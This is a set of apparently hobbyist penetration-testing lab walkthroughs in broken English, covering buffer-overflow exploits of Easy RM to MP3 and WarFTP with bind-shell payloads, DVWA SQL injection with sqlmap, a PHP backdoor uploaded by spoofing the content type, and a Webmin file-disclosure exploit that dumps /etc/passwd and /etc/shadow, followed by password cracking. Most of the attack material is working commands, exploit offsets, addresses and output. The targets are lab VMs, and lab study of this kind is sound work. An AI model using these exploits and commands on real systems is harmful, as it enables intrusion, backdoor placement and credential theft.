Buffer overflow : local exploit ( Easy RM 2 mp3 converter )

1. Run your windows xp on virtualbox

2.  Install guest additions on virtualbox
devices > install guest additions

3. make fuzzer on console
#gedit tetot.py

4. run your fuzzer
#python tetot.py

5. run Easy rm to mp3 and load file armada.pls
the app will be crash

6. now run Easy rm to mp3 via Ollydbg
look register affected by fuzzer

7. now go pattern create for make the data structur
#cd /opt/metasploit/msf3/tools
#./pattern_create.rb 27000 > data.txt

next, open data.txt via text editor and copy to fuzzer

run fuzzer
next run app via Ollydbg and look ESP and EIP for make the pattern offset to see byte of data

8. make pattern create
#cd /opt/metasploit/sf3/tools
this for search byte of register EIP

9. next step we edit fuzzer

run fuzzer and look register on Ollydbg when you run app

register EIP has affected by DEADBEEF

10. run Ollydbg and open Easy rm to mp3 but don't run Easy rm to mp3 because before that we want look the JMP ESP and breakpoint
view > executable modules > shell.32
search for > command ( find JMP ESP)
back to console and edit fuzzer with address of JMP ESP

next open Ollydbg and open app
view > executable modules > shell.32
search for > command ( find JMP ESP)
breakpoint >  memory on access
run your Easy rm to mp3 and look register EIP

the app have raed data of stack memory

11. next step is make payload
#cd /pentest/exploits/framework2
#./msfweb

run 127.0.0.1:55555 on browser

next step select
payloads > os::win32 > windows bind shell

click generate payloads and copy shellcode to fuzzer

save and run your fuzzer

12. final step, run Easy rm to mp3
type on console
#telnet 192.168.56.101 4444

finish #thanksGOD :)

Buffer overflow : war - FTP

Ok, now we try to learn about buffer overflow.
Buffer overflow is a process that does not normally happen in because the data is stored exceeds the capacity of the memory buffer, so there haved vulnerable for entered to system. follow step by step .

1. Run your windows xp on virtualBox or VMware
2. Run warFTP 

3. open console and type
#nc ip port
this for check server is running

4. next step is make fuzzer. fuzzer is app from python for make the data doesn't normal and error. here we make the fuzz.py used nano.

 5. run the command for execute fuzzer
#python fuzz.py

 fuzzer is success and warFTP is loss from screen.
6. Now we do the debugger for look the data that occurs.
for debugger, we used Ollydbg . next run Ollydbg and open warFTP via Ollydbg.
if the warFTP can't running. you make the new user on warFTP.  select user security properties > add .
after user have maked, run again warFTP and look register on Ollydbg

7. next we make the development vulnerability use pattern_craete.
#cd /opt/metasploit/msf3/tools
#./pattern_create.rb 1000 > data.txt
open data.txt via text editor and look the data.

8. next step input data in data.txt to fuzzer has been made.

run warFTP again via Ollydbg and run fuzzer . look the register of Ollydbg

 9. after make crash to app, next we search how byte string befall register.
for this step, we used tools pattern_offset via console.
#./pattern_offset.rb 32714131
#./pattern_offset.rb q4Aq5Aq

for reach EIP register, need data 485 byte and reach stack need data 493 byte.

10. next step for see the EIP overwrite, edit fuzzer.
add :
nilaiEIP = "\x90" * 485
nilaiEIP+ = "\xEF\xBE\xAD\xDE"

between import socket and s.connect

 11. run warFTP via Ollydbg + run fuzzer again
look result of register has changed

after EIP, next to ESP..step is same just edit fuzzer.
add :
buffer = "\x90" * 485
buffer+= "\xEF\xBE\xAD\xDE"
buffer+= "\90" * (493-len(buffer))
buffer+= "\xCC" * (1000-len(buffer))
between import socket and s.connect

12.next step look the window register and stack
all data have \xCC

13. now you have controll stack, next step how to execute payload
on Ollydbg, select view > Executable modules
on modules have out library used by warFTP,next select library for jup to register EIP, here i used shell32.dll
next, we search command JMP ESP on that file for do this click right on main window ->search for-> command

14. after search JMP ESP and find that, we must know address..on this case, address is 7CA58265..
next edit fuzzer line 5..
buffer+= "\x65\x82\xA5\x7C"
like that, run warFTP via Ollydbg and run fuzzer again.

here value of register EIP 00A5FD59 not 7ca58265 again.

15. Now debugging process used breakpoint for analysis malware.

16. now make payload to enter on buffer
 #cd /pentest/exploit/framework2
#./msfweb
open browser and type -> 127.0.0.1:55555

next click payloads > os::win32 on filter modules > windows blind shell

click generate.
17. copy file to fuzzer

run warFTP without used Ollydbg and run fuzzer
final step #telnet ip port

FINISH :) <THANKS GOD>

DVWA Level Medium

Before all execution, open your console and start apache2
#/etc/init.d/apache2 start
open burpsuite and mantra
type localhost/dvwa on address bar of mantra
login > username : admin || password : password
change dvwa security with medium level and submit.
ok,this is time to offensive :)

1. Brute Force
2. Comman execution
3. CSRF
4. File Inclusion
5. Sql Injection

type 1 on form and submit, go to burpsuite for get cookie
open console
#cd /pentest/database/sqlmap
#./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=medium; PHPSESSID=gratsfgdu78cop0t16vq7iu224" --dbs

available databases [6]:
[*] dvwa
[*] information_schema
[*] mysql
[*] owasp10
[*] performance_schema
[*] test

get tables of dvwa database
#./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=medium; PHPSESSID=gratsfgdu78cop0t16vq7iu224" -D dvwa --tables

Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

get password of users tables
#./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=medium; PHPSESSID=gratsfgdu78cop0t16vq7iu224" -T users --dump

6. Blind Sql injection

the method/command is same w/Sql Injection, just different on URL.



7. Upload
browse your image to upload and upload
next look content type on burpsuite ( content-type : image/jpeg )
beside that, you can upload other file example php-backdoor.php with note you when you upload the file, you must change content-type on burpsuite so that file can upload,look step by step to upload other file

when upload, content-type still application/x-httpd-php

change with image/jpeg 

next step is forward look this

copy /hackable/uploads/php-backdoors.php on address after localhost/dvwa
#localhost/dvwa/hackable/uploads/php-backdoors.php
enter

8. XSS Stored
9. XSS

Advance Information Gathering of is2c-dojo.com

download file Information gathering of is2c-dojo.com here

How to Extarct Databases DVWA use sqlmap

1. open console , type Ctrl+Alt+T
    Run apache2
    #/etc/init.d/apache start
    Run mysql
    #/etc/init.d/mysql start

2. open mantra

    Applications > backtrack > vulnerability assasment > vunerability scanner >  mantra

3. open burpsuite

    Applications > backtrack > vunerability assament > web applications assasmnet > web application proxiez > burpsuite

After apache and mysql running, check your mantra and burpsuite.
On mantra you must add new proxy [ proxy : localhost and port : 8080 ].
After proxy added,  select the proxy that. Now, type localhost/dvwa on addresbar. first login, and how to technique sql injection for show all username.
Remember,before that you must change DVWA Security level from high to low and submit.
injection username success,

go to burpsuite and look the proxy. There have COOKIE.

After you get cookie, open sqlmap
next you must extract the databases of dvwa.
First, you read the hint of sqlmap,
next search syntax of extract database.

>databases
#./sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3dlp8q6ipmlgem2uik1g142bc2" --dbs

>tables

>password

extarct databases of DVWA is finish !!!

How to Install mutilidae

1. Download mutilidae here

2. Save on var/www

3. start your apache2 and mysql

4. open browser and type 127.0.0.1/mutillidae

> your installed is finish !!!

Pivilage Escalation of PwNos

> Information Gathering of target ( PwNos : 192.168.254.129 )
1.  used the zenmap
   #nmap -p l-65535 -T4 -A -v 192.168.254.129


PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
| ssh-hostkey: 1024 e4:46:40:bf:e6:29:ac:c6:00:e2:b2:a3:e1:50:90:3c (DSA)
|_2048 10:cc:35:45:8e:f2:7a:a1:cc:db:a0:e8:bf:c7:73:3d (RSA)
80/tcp    open  http        Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
|_http-title: Site doesn't have a title (text/html).
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
139/tcp   open  netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
445/tcp   open  netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
10000/tcp open  http        MiniServ 0.01 (Webmin httpd)

MAC Address: 00:0C:29:B1:C4:4F (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:kernel:2.6.22
OS details: Linux 2.6.22 (embedded, ARM)
Uptime guess: 497.102 days (since Mon May 30 17:00:49 2011)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=200 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

smb-os-discovery:
|   OS: Unix (Samba 3.0.26a)
|   Computer name: ubuntuvm
|   Domain name: nsdlab
|   FQDN: ubuntuvm.NSDLAB
|   NetBIOS computer name:
|_  System time: 2012-10-08 19:26:31 UTC-5

TRACEROUTE
HOP RTT     ADDRESS
1   0.41 ms 192.168.254.129

2. Used nmap
search version info
#nmap -sV 192.168.254.129

PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
80/tcp    open  http        Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
139/tcp   open  netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
445/tcp   open  netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
10000/tcp open  http        MiniServ 0.01 (Webmin httpd)
MAC Address: 00:0C:29:B1:C4:4F (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

> Service Enumeration

Service        version
ssh        OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
http        Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
netbios-ssn    Samba smbd 3.X (workgroup: MSHOME)
netbios-ssn    Samba smbd 3.X (workgroup: MSHOME)
http        MiniServ 0.01 (Webmin httpd)

> Vunerable Asassment
#cd pentest/exploits/exploitdb#
#./searchspoloit webmin

Description                                                                 Path
--------------------------------------------------------------------------- -------------------------
Webmin BruteForce and Command Execution Exploit                             /multiple/remote/705.pl
Webmin Web Brute Force v1.5 (cgi-version)                                   /multiple/remote/745.cgi
Webmin BruteForce + Command Execution v1.5                                  /multiple/remote/746.pl
Webmin < 1.290 / Usermin < 1.220 Arbitrary File Disclosure Exploit          /multiple/remote/1997.php
Webmin < 1.290 / Usermin < 1.220 Arbitrary File Disclosure Exploit (perl)   /multiple/remote/2017.pl
phpMyWebmin 1.0 (window.php) Remote File Include Vulnerability              /php/webapps/2451.txt
phpMyWebmin 1.0 (window.php) Remote File Include Vulnerability              /php/webapps/2451.txt
phpMyWebmin <= 1.0 (target) Remote File Include Vulnerabilities             /php/webapps/2462.txt
phpMyWebmin <= 1.0 (target) Remote File Include Vulnerabilities             /php/webapps/2462.txt
phpMyWebmin <= 1.0 (target) Remote File Include Vulnerabilities             /php/webapps/2462.txt
root@latif:/pentest/exploits/exploitdb# cd platforms/multiple/remote/
root@latif:/pentest/exploits/exploitdb/platforms/multiple/remote# ./2017.pl
bash: ./2017.pl: /usr/bin/perl^M: bad interpreter: No such file or directory
root@latif:/pentest/exploits/exploitdb/platforms/multiple/remote# ./2017.pl
bash: ./2017.pl: /usr/bin/perl^M: bad interpreter: No such file or directory
root@latif:/pentest/exploits/exploitdb/platforms/multiple/remote# perl 2017.pl
Usage: 2017.pl <url> <port> <filename> <target>
TARGETS are
 0  - > HTTP
 1  - > HTTPS
Define full path with file name
Example: ./webmin.pl blah.com 10000 /etc/passwd

We meet the VA of target !!!
webmin < 1.290

> Exploit
 #cd platforms/multiple/remote
1. Exploit password
#perl 2017.pl 192.168.254.129 10000 /etc/passwd 0
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
dhcp:x:100:101::/nonexistent:/bin/false
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
mysql:x:103:107:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
vmware:x:1000:1000:vmware,,,:/home/vmware:/bin/bash
obama:x:1001:1001::/home/obama:/bin/bash
osama:x:1002:1002::/home/osama:/bin/bash
yomama:x:1003:1003::/home/yomama:/bin/bash

2. Exploit shadow
#perl 2017.pl 192.168.254.129 10000 /etc/shadow 0
root:$1$LKrO9Q3N$EBgJhPZFHiKXtK0QRqeSm/:14041:0:99999:7:::
daemon:*:14040:0:99999:7:::
bin:*:14040:0:99999:7:::
sys:*:14040:0:99999:7:::
sync:*:14040:0:99999:7:::
games:*:14040:0:99999:7:::
man:*:14040:0:99999:7:::
lp:*:14040:0:99999:7:::
mail:*:14040:0:99999:7:::
news:*:14040:0:99999:7:::
uucp:*:14040:0:99999:7:::
proxy:*:14040:0:99999:7:::
www-data:*:14040:0:99999:7:::
backup:*:14040:0:99999:7:::
list:*:14040:0:99999:7:::
irc:*:14040:0:99999:7:::
gnats:*:14040:0:99999:7:::
nobody:*:14040:0:99999:7:::
dhcp:!:14040:0:99999:7:::
syslog:!:14040:0:99999:7:::
klog:!:14040:0:99999:7:::
mysql:!:14040:0:99999:7:::
sshd:!:14040:0:99999:7:::
vmware:$1$7nwi9F/D$AkdCcO2UfsCOM0IC8BYBb/:14042:0:99999:7:::
obama:$1$hvDHcCfx$pj78hUduionhij9q9JrtA0:14041:0:99999:7:::
osama:$1$Kqiv9qBp$eJg2uGCrOHoXGq0h5ehwe.:14041:0:99999:7:::
yomama:$1$tI4FJ.kP$wgDmweY9SAzJZYqW76oDA.:14041:0:99999:7:::


> Privilege Escalation
 When you get the file of password and shadow,you must crack the password and this method is privilage escalation. For decrypted the password, I used the john the ripper.

make a file on john folder
here i want carck password of osama
#nano tes.txt
osama:$1$Kqiv9qBp$eJg2uGCrOHoXGq0h5ehwe.:14041:0:99999:7:::

after saved,type
#./john tes.txt

wait till password cracked :)